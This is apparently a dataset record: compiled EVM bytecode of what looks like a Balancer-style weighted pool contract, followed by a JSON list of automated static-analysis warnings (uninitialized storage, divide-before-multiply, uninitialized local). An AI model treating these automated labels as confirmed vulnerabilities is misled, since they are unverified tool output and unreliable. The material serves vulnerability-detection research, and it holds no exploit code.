3856106818487610d84565b610d9a565b5060019392505050565b60006105b761069d6104f6565b6106b56106a86109bc565b6106b0611100565b611374565b90611398565b6001600160a01b0381166000908152602081905260409020545b919050565b606080886107046106e9610833565b6001600160a01b0316336001600160a01b03161460cd610f13565b61071961070f6105d5565b82146101f4610f13565b60606107236113e9565b905061072f8882611666565b60006060806107438e8e8e8e8e8e8e611124565b9250925092506107538d846116c7565b61075d82856111ec565b61076781856111ec565b909550935050505b5097509795505050505050565b6001600160a01b031660009081526005602052604090205490565b60007f0000000000000000000000008e9aa87e45e92bad84d5f8dd1bff34fb92637de9826040516020016107cc9291906144ef565b604051602081830303815290604052805190602001209050919050565b600060606107fa8651610610611100565b61062a8989898989898961175a6117d7611252565b7f00000000000000000000000095e8c5a56acc8064311d79946c7be87a1e90d17f90565b7f000000000000000000000000ba12222222228d8ba445958a75a0704d566bf2c890565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c05780601f10610495576101008083540402835291602001916104c0565b60085490565b6000806108ce8560200151611838565b905060006108df8660400151611838565b90506000865160018111156108f057fe5b1415610956576109038660600151611b4d565b60608701526109128583611b71565b945061091e8482611b71565b935061092e866060015183611b71565b60608701526000610940878787611b7d565b905061094c8183611bb8565b93505050506105a1565b6109608583611b71565b945061096c8482611b71565b935061097c866060015182611b71565b6060870152600061098e878787611bc4565b905061099a8184611bf7565b905061094c81611c03565b60006104d8338484610f21565b60006105b7611c1a565b600060606109c8610833565b6001600160a01b031663f94d46686109de6105d5565b6040518263ffffffff1660e01b81526004016109fa91906145a1565b60006040518083038186803b158015610a1257600080fd5b505afa158015610a26573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a4e9190810190614047565b50915050610a6381610a5e6113e9565b611666565b6060610a6d611c94565b9050610a798183611ef1565b9250505090565b610a8e8442111560d1610f13565b6001600160a01b0387166000908152600560209081526040808320549051909291610ae5917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9188918d91016145c9565b6040516020818303038152906040528051906020012090506000610b0882611f63565b9050600060018288888860405160008152602001604052604051610b2f9493929190614629565b6020604051602081039080840390855afa158015610b51573d6000803e3d6000fd5b5050604051601f1901519150610b9390506001600160a01b03821615801590610b8b57508b6001600160a01b0316826001600160a01b0316145b6101f8610f13565b6001600160a01b038b166000908152600560205260409020600185019055610bbc8b8b8b610d9a565b5050505050505050505050565b60608088610bd86106e9610833565b610be361070f6105d5565b6060610bed6113e9565b9050610bf76104f6565b610c9d5760006060610c0b8d8d8d8a611f7f565b91509150610c20620f424083101560cc610f13565b610c2e6000620f424061201a565b610c3d8b620f4240840361201a565b610c4781846117d7565b80610c50611100565b67ffffffffffffffff81118015610c6657600080fd5b50604051908082528060200260200182016040528015610c90578160200160208202803683370190505b509550955050505061076f565b610ca78882611666565b6000606080610cbb8e8e8e8e8e8e8e61175a565b925092509250610ccb8c8461201a565b610cd582856117d7565b610cdf81856111ec565b909550935061076f915050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104d89185906106819086610d72565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606105b7611c94565b80610d61816120b0565b5050565b610d618183146067610f13565b60008282016105a18482101583610f13565b6000610d94838311156001610f13565b50900390565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610df59085906145a1565b60405180910390a3505050565b6000610e196000356001600160e01b031916610797565b90506104f3610e288233612129565b610191610f13565b8015610e5057610e4b610e41610ecb565b4210610193610f13565b610e65565b610e65610e5b610eef565b42106101a9610f13565b6006805460ff19168215151790556040517f9e3a5e37224532dea67b89face185703738a228a6e8a23dee546960180d3be6490610ea390839061457e565b60405180910390a150565b6000610eb8610eef565b4211806105b757505060065460ff161590565b7f00000000000000000000000000000000000000000000000000000000622a98a690565b7f00000000000000000000000000000000000000000000000000000000622a98a690565b81610d6157610d6181612219565b6001600160a01b038316600090815260208190526040902054610f4982821015610196610f13565b610f606001600160a01b0384161515610199610f13565b6001600160a01b03808516600090815260208190526040808220858503905591851681522054610f909083610d72565b6001600160a01b0380851660008181526020819052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe29086906145a1565b60405180910390a350505050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7ffdcdbcb1258936f9730d9e634cb623ff1af644bc30ab2adcd9153099f82fb66c7fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc661105d61226c565b306040516020016110729594939291906145fd565b60405160208183030381529060405280519060200120905090565b6110a0611098610eae565b610192610f13565b565b6110b564e8d4a5100082101560cb610f13565b6110cb67016345785d8a000082111560ca610f13565b60078190556040517fa9ba3ffe0b6c366b81232caab38605a0699ad5398d6cce76f91ee809e322dafc90610ea39083906145a1565b7f000000000000000000000000000000000000000000000000000000000000000290565b60006060806060611133611c94565b905061113d610eae565b1561117457600061114e828a611ef1565b905061115f8983600854848b612270565b925061116e8984610d84612380565b506111c0565b61117c611100565b67ffffffffffffffff8111801561119257600080fd5b506040519080825280602002602001820160405280156111bc578160200160208202803683370190505b5091505b6111cb8882876123eb565b90945092506111db888483612458565b600855509750975097945050505050565b60005b6111f7611100565b81101561124d5761122e83828151811061120d57fe5b602002602001015183838151811061122157fe5b6020026020010151612471565b83828151811061123a57fe5b60209081029190910101526001016111ef565b505050565b333014611310576000306001600160a01b0316600036604051611276929190614507565b6000604051808303816000865af19150503d80600081146112b3576040519150601f19603f3d011682016040523d82523d6000602084013e6112b8565b606091505b5050905080600081146112c757fe5b60046000803e6000516001600160e01b0319166343adbafb60e01b81146112f2573d6000803e3d6000fd5b506020600460003e604060205260243d03602460403e601c3d016000f35b606061131a6113e9565b90506113268782611666565b6000606061133d8c8c8c8c8c8c8c8c63ffffffff16565b509150915061135081848663ffffffff16565b8051601f1982018390526343adbafb603f1983015260200260231982016044820181fd5b60008282026105a184158061139157508385838161138e57fe5b04145b6003610f13565b60006113a78215156004610f13565b826113b4575060006104dc565b670de0b6b3a7640000838102906113d7908583816113ce57fe5b04146005610f13565b8281816113e057fe5b049150506104dc565b606060006113f5611100565b905060608167ffffffffffffffff8111801561141057600080fd5b5060405190808252806020026020018201604052801561143a578160200160208202803683370190505b5090508115611482577f00000000000000000000000000000000000000000000000000000000000000018160008151811061147157fe5b60200260200101818152505061148b565b91506104c89050565b6001821115611482577f0000000000000000000000000000000000000000000000000000000000000001816001815181106114c257fe5b6020026020010181815250506002821115611482577f00000000000000000000000000000000000000000000000000000000000000008160028151811061150557fe5b6020026020010181815250506003821115611482577f00000000000000000000000000000000000000000000000000000000000000008160038151811061154857fe5b6020026020010181815250506004821115611482577f00000000000000000000000000000000000000000000000000000000000000008160048151811061158b57fe5b6020026020010181815250506005821115611482577f0000000000000000000000000000000000000000000000000000000000000000816005815181106115ce57fe5b6020026020010181815250506006821115611482577f00000000000000000000000000000000000000000000000000000000000000008160068151811061161157fe5b6020026020010181815250506007821115611482577f00000000000000000000000000000000000000000000000000000000000000008160078151811061165457fe5b60200260200101818152505091505090565b60005b611671611100565b81101561124d576116a883828151811061168757fe5b602002602001015183838151811061169b57fe5b6020026020010151611374565b8382815181106116b457fe5b6020908102919091010152600101611669565b6001600160a01b0382166000908152602081905260409020546116ef82821015610196610f13565b6001600160a01b038316600090815260208190526040902082820390556002546117199083610d84565b6002556040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df59086906145a1565b600060608061176761108d565b6060611771611c94565b9050600061177f828a611ef1565b905060606117928a84600854858c612270565b90506117a18a82610d84612380565b600060606117b08c868b612491565b915091506117bf8c82876124eb565b600855909e909d50909b509950505050505050505050565b60005b6117e2611100565b81101561124d576118198382815181106117f857fe5b602002602001015183838151811061180c57fe5b60200260200101516124fa565b83828151811061182557fe5b60209081029190910101526001016117da565b60007f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6001600160a01b0316826001600160a01b0316141561189b57507f00000000000000000000000000000000000000000000000000000000000000016106d5565b7f0000000000000000000000009c4a4204b79dd291d6b6571c5be8bbcd0622f0506001600160a01b0316826001600160a01b031614156118fc57507f00000000000000000000000000000000000000000000000000000000000000016106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561195d57507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156119be57507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611a1f57507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611a8057507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611ae157507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611b4257507f00000000000000000000000000000000000000000000000000000000000000006106d5565b6106d5610135612219565b600080611b656007548461252d90919063ffffffff16565b90506105a18382610d84565b60006105a18383611374565b6000611b8761108d565b611bb083611b988660200151612571565b84611ba68860400151612571565b886060015161287b565b949350505050565b60006105a18383612471565b6000611bce61108d565b611bb083611bdf8660200151612571565b84611bed8860400151612571565b88606001516128f6565b60006105a183836124fa565b60006104dc611c1360075461296c565b8390612992565b6000611c24610833565b6001600160a01b031663aaabadc56040518163ffffffff1660e01b815260040160206040518083038186803b158015611c5c57600080fd5b505afa158015611c70573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b79190614270565b60606000611ca0611100565b905060608167ffffffffffffffff81118015611cbb57600080fd5b50604051908082528060200260200182016040528015611ce5578160200160208202803683370190505b5090508115611482577f00000000000000000000000000000000000000000000000002c68af0bb14000081600081518110611d1c57fe5b6020026020010181815250506001821115611482577f0000000000000000000000000000000000000000000000000b1a2bc2ec50000081600181518110611d5f57fe5b6020026020010181815250506002821115611482577f000000000000000000000000000000000000000000000000000000000000000081600281518110611da257fe5b6020026020010181815250506003821115611482577f000000000000000000000000000000000000000000000000000000000000000081600381518110611de557fe5b6020026020010181815250506004821115611482577f000000000000000000000000000000000000000000000000000000000000000081600481518110611e2857fe5b6020026020010181815250506005821115611482577f000000000000000000000000000000000000000000000000000000000000000081600581518110611e6b57fe5b6020026020010181815250506006821115611482577f000000000000000000000000000000000000000000000000000000000000000081600681518110611eae57fe5b6020026020010181815250506007821115611482577f00000000000000000000000000000000000000000000000000000000000000008160078151811061165457fe5b670de0b6b3a764000060005b8351811015611f5357611f49611f42858381518110611f1857fe5b6020026020010151858481518110611f2c57fe5b60200260200101516129d490919063ffffffff16565b8390612a23565b9150600101611efd565b506104dc60008211610137610f13565b6000611f6d610ff0565b826040516020016107cc929190614517565b60006060611f8b61108d565b6000611f9684612a4f565b9050611fb16000826002811115611fa957fe5b1460ce610f13565b6060611fbc85612a65565b9050611fd0611fc9611100565b8251610d65565b611fdc81610a5e6113e9565b6060611fe6611c94565b90506000611ff48284611ef1565b90506000612004826106b0611100565b6008929092555099919850909650505050505050565b6001600160a01b03821660009081526020819052604090205461203d9082610d72565b6001600160a01b0383166000908152602081905260409020556002546120639082610d72565b6002556040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906120a49085906145a1565b60405180910390a35050565b6002815110156120bf576104f3565b6000816000815181106120ce57fe5b602002602001015190506000600190505b825181101561124d5760008382815181106120f657fe5b6020026020010151905061211f816001600160a01b0316846001600160a01b0316106065610f13565b91506001016120df565b600073ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1b61214861080f565b6001600160a01b031614158015612163575061216383612a7b565b1561218b5761217061080f565b6001600160a01b0316336001600160a01b03161490506104dc565b612193611c1a565b6001600160a01b0316639be2a8848484306040518463ffffffff1660e01b81526004016121c2939291906145aa565b60206040518083038186803b1580156121da57600080fd5b505afa1580156121ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612212919061412f565b90506104dc565b62461bcd60e51b6000908152602060045260076024526642414c23000030600a808404818106603090810160081b95839006959095019082900491820690940160101b939093010160c81b604452606490fd5b4690565b60608061227b611100565b67ffffffffffffffff8111801561229157600080fd5b506040519080825280602002602001820160405280156122bb578160200160208202803683370190505b509050826122ca579050612377565b61233d877f0000000000000000000000000000000000000000000000000000000000000001815181106122f957fe5b6020026020010151877f00000000000000000000000000000000000000000000000000000000000000018151811061232d57fe5b6020026020010151878787612a95565b817f00000000000000000000000000000000000000000000000000000000000000018151811061236957fe5b602090810291909101015290505b95945050505050565b60005b61238b611100565b8110156123e5576123c68482815181106123a157fe5b60200260200101518483815181106123b557fe5b60200260200101518463ffffffff16565b8482815181106123d257fe5b6020908102919091010152600101612383565b50505050565b6000606060006123fa84612a4f565b9050600081600281111561240a57fe5b14156124255761241b868686612b0d565b9250925050612450565b600181600281111561243357fe5b14156124435761241b8685612beb565b61241b868686612c1d565b505b935093915050565b60006124678484610d84612380565b611bb08285611ef1565b60006124808215156004610f13565b81838161248957fe5b049392505050565b6000606060006124a084612a4f565b905060018160028111156124b057fe5b14156124c15761241b868686612c88565b60028160028111156124cf57fe5b14156124e05761241b868686612ce2565b61244e610136612219565b60006124678484610d72612380565b60006125098215156004610f13565b82612516575060006104dc565b81600184038161252257fe5b0460010190506104dc565b600082820261254784158061139157508385838161138e57fe5b806125565760009150506104dc565b670de0b6b3a764000060001982015b046001019150506104dc565b60007f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6001600160a01b0316826001600160a01b031614156125d457507f00000000000000000000000000000000000000000000000002c68af0bb1400006106d5565b7f0000000000000000000000009c4a4204b79dd291d6b6571c5be8bbcd0622f0506001600160a01b0316826001600160a01b0316141561263557507f0000000000000000000000000000000000000000000000000b1a2bc2ec5000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561269657507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156126f757507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561275857507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156127b957507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561281a57507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611b4257507f00000000000000000000000000000000000000000000000000000000000000006106d5565b600061289d61289287670429d069189e0000612a23565b831115610130610f13565b60006128a98784610d72565b905060006128b78883612992565b905060006128c58887611398565b905060006128d38383612d8a565b90506128e86128e18261296c565b8990612a23565b9a9950505050505050505050565b600061291861290d85670429d069189e0000612a23565b831115610131610f13565b600061292e6129278685610d84565b8690612992565b9050600061293c8588612992565b9050600061294a8383612d8a565b9050600061296082670de0b6b3a7640000610d84565b90506128e88a8261252d565b6000670de0b6b3a764000082106129845760006104dc565b50670de0b6b3a76400000390565b60006129a18215156004610f13565b826129ae575060006104dc565b670de0b6b3a7640000838102906129c8908583816113ce57fe5b82600182038161256557fe5b6000806129e18484612db6565b905060006129fb6129f48361271061252d565b6001610d72565b905080821015612a10576000925050506104dc565b612a1a8282610d84565b925050506104dc565b6000828202612a3d84158061139157508385838161138e57fe5b670de0b6b3a764000090049392505050565b6000818060200190518101906104dc919061428c565b6060818060200190518101906105a19190614352565b6000612a8d631c74c91760e11b610797565b909114919050565b6000838311612aa657506000612377565b6000612ab28585612992565b90506000612ac8670de0b6b3a764000088611398565b9050612adc826709b6e64a8ec60000612ec1565b91506000612aea8383612d8a565b90506000612b01612afa8361296c565b8b90612a23565b90506128e88187612a23565b60006060612b1961108d565b600080612b2585612ed8565b91509150612b3d612b34611100565b82106064610f13565b6060612b47611100565b67ffffffffffffffff81118015612b5d57600080fd5b50604051908082528060200260200182016040528015612b87578160200160208202803683370190505b509050612bc6888381518110612b9957fe5b6020026020010151888481518110612bad57fe5b602002602001015185612bbe6104f6565b600754612efa565b818381518110612bd257fe5b6020908102919091010152919791965090945050505050565b600060606000612bfa84612fb7565b90506060612c108683612c0b6104f6565b612fcd565b9196919550909350505050565b60006060612c2961108d565b60606000612c368561307f565b91509150612c478251610610611100565b612c5382610a5e6113e9565b6000612c6b888885612c636104f6565b600754613097565b9050612c7b8282111560cf610f13565b9791965090945050505050565b60006060806000612c988561307f565b91509150612cae612ca7611100565b8351610d65565b612cba82610a5e6113e9565b6000612cd2888885612cca6104f6565b6007546132bc565b9050612c7b8282101560d0610f13565b60006060600080612cf285612ed8565b91509150612d01612b34611100565b6060612d0b611100565b67ffffffffffffffff81118015612d2157600080fd5b50604051908082528060200260200182016040528015612d4b578160200160208202803683370190505b509050612bc6888381518110612d5d57fe5b6020026020010151888481518110612d7157fe5b602002602001015185612d826104f6565b6007546134cd565b600080612d978484612db6565b90506000612daa6129f48361271061252d565b90506123778282610d72565b600081612dcc5750670de0b6b3a76400006104dc565b82612dd9575060006104dc565b612dea600160ff1b84106006610f13565b82612e10770bce5086492111aea88f4bb1ca6bcf584181ea8059f7653284106007610f13565b826000670c7d713b49da000083138015612e315750670f43fc2c04ee000083125b15612e68576000612e418461356f565b9050670de0b6b3a764000080820784020583670de0b6b3a764000083050201915050612e76565b81612e7284613696565b0290505b670de0b6b3a76400009005612eae680238fd42c5cf03ffff198212801590612ea7575068070c1cc73b00c800008213155b6008610f13565b612eb781613a44565b9695505050505050565b600081831015612ed157816105a1565b5090919050565b60008082806020019051810190612eef919061431c565b909590945092505050565b600080612f1184612f0b8188610d84565b90612992565b9050612f2a6709b6e64a8ec60000821015610132610f13565b6000612f48612f41670de0b6b3a764000089611398565b8390612d8a565b90506000612f5f612f588361296c565b8a90612a23565b90506000612f6c8961296c565b90506000612f7a838361252d565b90506000612f888483610d84565b9050612fa7612fa0612f998a61296c565b8490612a23565b8290610d72565b9c9b505050505050505050505050565b6000818060200190518101906105a191906142ef565b60606000612fdb8484611398565b90506060855167ffffffffffffffff81118015612ff757600080fd5b50604051908082528060200260200182016040528015613021578160200160208202803683370190505b50905060005b8651811015613075576130568388838151811061304057fe5b6020026020010151612a2390919063ffffffff16565b82828151811061306257fe5b6020908102919091010152600101613027565b5095945050505050565b6060600082806020019051810190612eef91906142a8565b60006060845167ffffffffffffffff811180156130b357600080fd5b506040519080825280602002602001820160405280156130dd578160200160208202803683370190505b5090506000805b88518110156131a25761313d8982815181106130fc57fe5b6020026020010151612f0b89848151811061311357fe5b60200260200101518c858151811061312757fe5b6020026020010151610d8490919063ffffffff16565b83828151811061314957fe5b60200260200101818152505061319861319189838151811061316757fe5b602002602001015185848151811061317b57fe5b602002602001015161252d90919063ffffffff16565b8390610d72565b91506001016130e4565b50670de0b6b3a764000060005b895181101561329b5760008482815181106131c657fe5b602002602001015184111561321d5760006131ef6131e38661296c565b8d858151811061304057fe5b90506000613203828c868151811061312757fe5b9050613214613191611c138b61296c565b92505050613234565b88828151811061322957fe5b602002602001015190505b600061325d8c848151811061324557fe5b60200260200101516106b5848f878151811061312757fe5b905061328f6132888c858151811061327157fe5b6020026020010151836129d490919063ffffffff16565b8590612a23565b935050506001016131af565b506132af6132a88261296c565b879061252d565b9998505050505050505050565b60006060845167ffffffffffffffff811180156132d857600080fd5b50604051908082528060200260200182016040528015613302578160200160208202803683370190505b5090506000805b88518110156133aa5761336289828151811061332157fe5b60200260200101516106b589848151811061333857fe5b60200260200101518c858151811061334c57fe5b6020026020010151610d7290919063ffffffff16565b83828151811061336e57fe5b6020026020010181815250506133a061319189838151811061338c57fe5b602002602001015185848151811061304057fe5b9150600101613309565b50670de0b6b3a764000060005b895181101561348b576000838583815181106133cf57fe5b6020026020010151111561342b5760006133f46131e386670de0b6b3a7640000610d84565b90506000613408828c868151811061312757fe5b9050613422613191611f42670de0b6b3a76400008c610d84565b92505050613442565b88828151811061343757fe5b602002602001015190505b600061346b8c848151811061345357fe5b60200260200101516106b5848f878151811061334c57fe5b905061347f6132888c858151811061327157fe5b935050506001016133b7565b50670de0b6b3a764000081106134c1576134b76134b082670de0b6b3a7640000610d84565b8790612a23565b9350505050612377565b60009350505050612377565b6000806134de84612f0b8188610d72565b90506134f76729a2241af62c0000821115610133610f13565b600061350e612f41670de0b6b3a764000089612992565b9050600061352e61352783670de0b6b3a7640000610d84565b8a9061252d565b9050600061353b8961296c565b90506000613549838361252d565b905060006135578483610d84565b9050612fa7612fa06135688a61296c565b8490612992565b670de0b6b3a7640000026000806ec097ce7bc90715b34b9f1000000000808401906ec097ce7bc90715b34b9f0fffffffff19850102816135ab57fe5b05905060006ec097ce7bc90715b34b9f100000000082800205905081806ec097ce7bc90715b34b9f100000000081840205915060038205016ec097ce7bc90715b34b9f100000000082840205915060058205016ec097ce7bc90715b34b9f100000000082840205915060078205016ec097ce7bc90715b34b9f100000000082840205915060098205016ec097ce7bc90715b34b9f1000000000828402059150600b8205016ec097ce7bc90715b34b9f1000000000828402059150600d8205016ec097ce7bc90715b34b9f1000000000828402059150600f826002919005919091010295945050505050565b60006136a6600083136064610f13565b670de0b6b3a76400008212156136e1576136d7826ec097ce7bc90715b34b9f1000000000816136d157fe5b05613696565b60000390506106d5565b60007e1600ef3172e58d2e933ec884fde10064c63b5372d805e203c0000000000000831261373257770195e54c5dd42177f53a27172fa9ec630262827000000000830592506806f05b59d3b2000000015b73011798004d755d3c8bc8e03204cf44619e000000831261376a576b1425982cf597cd205cef7380830592506803782dace9d9000000015b606492830292026e01855144814a7ff805980ff008400083126137b2576e01855144814a7ff805980ff008400068056bc75e2d63100000840205925068ad78ebc5ac62000000015b6b02df0ab5a80a22c61ab5a70083126137ed576b02df0ab5a80a22c61ab5a70068056bc75e2d6310000084020592506856bc75e2d631000000015b693f1fce3da636ea5cf850831261382457693f1fce3da636ea5cf85068056bc75e2d631000008402059250682b5e3af16b18800000015b690127fa27722cc06cc5e2831261385b57690127fa27722cc06cc5e268056bc75e2d6310000084020592506815af1d78b58c400000015b68280e60114edb805d0383126138905768280e60114edb805d0368056bc75e2d631000008402059250680ad78ebc5ac6200000015b680ebc5fb4174612111083126138bb57680ebc5fb4174612111068056bc75e2d631000009384020592015b6808f00f760a4b2db55d83126138f0576808f00f760a4b2db55d68056bc75e2d6310000084020592506802b5e3af16b1880000015b6806f5f17757889379378312613925576806f5f177578893793768056bc75e2d63100000840205925068015af1d78b58c40000015b6806248f33704b2866038312613959576806248f33704b28660368056bc75e2d63100000840205925067ad78ebc5ac620000015b6805c548670b9510e7ac831261398d576805c548670b9510e7ac68056bc75e2d6310000084020592506756bc75e2d6310000015b600068056bc75e2d63100000840168056bc75e2d6310000080860302816139b057fe5b059050600068056bc75e2d63100000828002059050818068056bc75e2d63100000818402059150600382050168056bc75e2d63100000828402059150600582050168056bc75e2d63100000828402059150600782050168056bc75e2d63100000828402059150600982050168056bc75e2d63100000828402059150600b820501600202606485820105979650505050505050565b6000613a73680238fd42c5cf03ffff198312158015613a6c575068070c1cc73b00c800008313155b6009610f13565b6000821215613aa757613a8882600003613a44565b6ec097ce7bc90715b34b9f100000000081613a9f57fe5b0590506106d5565b60006806f05b59d3b20000008312613ae757506806f05b59d3b1ffffff1990910190770195e54c5dd42177f53a27172fa9ec630262827000000000613b1d565b6803782dace9d90000008312613b1957506803782dace9d8ffffff19909101906b1425982cf597cd205cef7380613b1d565b5060015b6064929092029168056bc75e2d6310000068ad78ebc5ac620000008412613b6d5768ad78ebc5ac61ffffff199093019268056bc75e2d631000006e01855144814a7ff805980ff008400082020590505b6856bc75e2d6310000008412613ba9576856bc75e2d630ffffff199093019268056bc75e2d631000006b02df0ab5a80a22c61ab5a70082020590505b682b5e3af16b188000008412613be357682b5e3af16b187fffff199093019268056bc75e2d63100000693f1fce3da636ea5cf85082020590505b6815af1d78b58c4000008412613c1d576815af1d78b58c3fffff199093019268056bc75e2d63100000690127fa27722cc06cc5e282020590505b680ad78ebc5ac62000008412613c5657680ad78ebc5ac61fffff199093019268056bc75e2d6310000068280e60114edb805d0382020590505b68056bc75e2d631000008412613c8f5768056bc75e2d630fffff199093019268056bc75e2d63100000680ebc5fb4174612111082020590505b6802b5e3af16b18800008412613cc8576802b5e3af16b187ffff199093019268056bc75e2d631000006808f00f760a4b2db55d82020590505b68015af1d78b58c400008412613d015768015af1d78b58c3ffff199093019268056bc75e2d631000006806f5f177578893793782020590505b68056bc75e2d631000008481019085906002908280020505918201919050600368056bc75e2d631000008783020505918201919050600468056bc75e2d631000008783020505918201919050600568056bc75e2d631000008783020505918201919050600668056bc75e2d631000008783020505918201919050600768056bc75e2d631000008783020505918201919050600868056bc75e2d631000008783020505918201919050600968056bc75e2d631000008783020505918201919050600a68056bc75e2d631000008783020505918201919050600b68056bc75e2d631000008783020505918201919050600c68056bc75e2d631000008783020505918201919050606468056bc75e2d63100000848402058502059695505050505050565b80356104dc81614708565b600082601f830112613e3d578081fd5b8151613e50613e4b826146e8565b6146c1565b818152915060208083019084810181840286018201871015613e7157600080fd5b60005b84811015613e9057815184529282019290820190600101613e74565b505050505092915050565b600082601f830112613eab578081fd5b813567ffffffffffffffff811115613ec1578182fd5b613ed4601f8201601f19166020016146c1565b9150808252836020828501011115613eeb57600080fd5b8060208401602084013760009082016020015292915050565b8035600281106104dc57600080fd5b600060208284031215613f24578081fd5b81356105a181614708565b60008060408385031215613f41578081fd5b8235613f4c81614708565b91506020830135613f5c81614708565b809150509250929050565b600080600060608486031215613f7b578081fd5b8335613f8681614708565b92506020840135613f9681614708565b929592945050506040919091013590565b600080600080600080600060e0888a031215613fc1578283fd5b8735613fcc81614708565b96506020880135613fdc81614708565b95506040880135945060608801359350608088013560ff81168114613fff578384fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561402e578182fd5b823561403981614708565b946020939093013593505050565b60008060006060848603121561405b578081fd5b835167ffffffffffffffff80821115614072578283fd5b818601915086601f830112614085578283fd5b8151614093613e4b826146e8565b80828252602080830192508086018b8283870289010111156140b3578788fd5b8796505b848710156140de5780516140ca81614708565b8452600196909601959281019281016140b7565b5089015190975093505050808211156140f5578283fd5b5061410286828701613e2d565b925050604084015190509250925092565b600060208284031215614124578081fd5b81356105a18161471d565b600060208284031215614140578081fd5b81516105a18161471d565b600080600080600080600060e0888a031215614165578081fd5b8735965060208089013561417881614708565b9650604089013561418881614708565b9550606089013567ffffffffffffffff808211156141a4578384fd5b818b0191508b601f8301126141b7578384fd5b81356141c5613e4b826146e8565b8082825285820191508585018f8788860288010111156141e3578788fd5b8795505b838610156142055780358352600195909501949186019186016141e7565b509850505060808b0135955060a08b0135945060c08b013592508083111561422b578384fd5b50506142398a828b01613e9b565b91505092959891949750929550565b600060208284031215614259578081fd5b81356001600160e01b0319811681146105a1578182fd5b600060208284031215614281578081fd5b81516105a181614708565b60006020828403121561429d578081fd5b81516105a18161472b565b6000806000606084860312156142bc578081fd5b83516142c78161472b565b602085015190935067ffffffffffffffff8111156142e3578182fd5b61410286828701613e2d565b60008060408385031215614301578182fd5b825161430c8161472b565b6020939093015192949293505050565b600080600060608486031215614330578081fd5b835161433b8161472b565b602085015160409095015190969495509392505050565b60008060408385031215614364578182fd5b825161436f8161472b565b602084015190925067ffffffffffffffff81111561438b578182fd5b61439785828601613e2d565b9150509250929050565b6000806000606084860312156143b5578081fd5b833567ffffffffffffffff808211156143cc578283fd5b81860191506101208083890312156143e2578384fd5b6143eb816146c1565b90506143f78884613f04565b81526144068860208501613e22565b60208201526144188860408501613e22565b6040820152606083013560608201526080830135608082015260a083013560a08201526144488860c08501613e22565b60c082015261445a8860e08501613e22565b60e08201526101008084013583811115614472578586fd5b61447e8a828701613e9b565b9183019190915250976020870135975060409096013595945050505050565b6000602082840312156144ae578081fd5b5035919050565b6000815180845260208085019450808401835b838110156144e4578151875295820195908201906001016144c8565b509495945050505050565b9182526001600160e01b031916602082015260240190565b6000828483379101908152919050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6000602082526105a160208301846144b5565b60006040825261456c60408301856144b5565b828103602084015261237781856144b5565b901515815260200190565b92151583526020830191909152604082015260600190565b90815260200190565b9283526001600160a01b03918216602084015216604082015260600190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b8181101561467357858101830151858201604001528201614657565b818111156146845783604083870101525b50601f01601f1916929092016040019392505050565b600083825260406020830152611bb060408301846144b5565b60ff91909116815260200190565b60405181810167ffffffffffffffff811182821017156146e057600080fd5b604052919050565b600067ffffffffffffffff8211156146fe578081fd5b5060209081020190565b6001600160a01b03811681146104f357600080fd5b80151581146104f357600080fd5b600381106104f357600080fdfea2646970667358221220a2c3b62e0bc50507598395387e1557612d7ad59e817ddae4d5279907402fedb464736f6c63430007010033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-storage", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
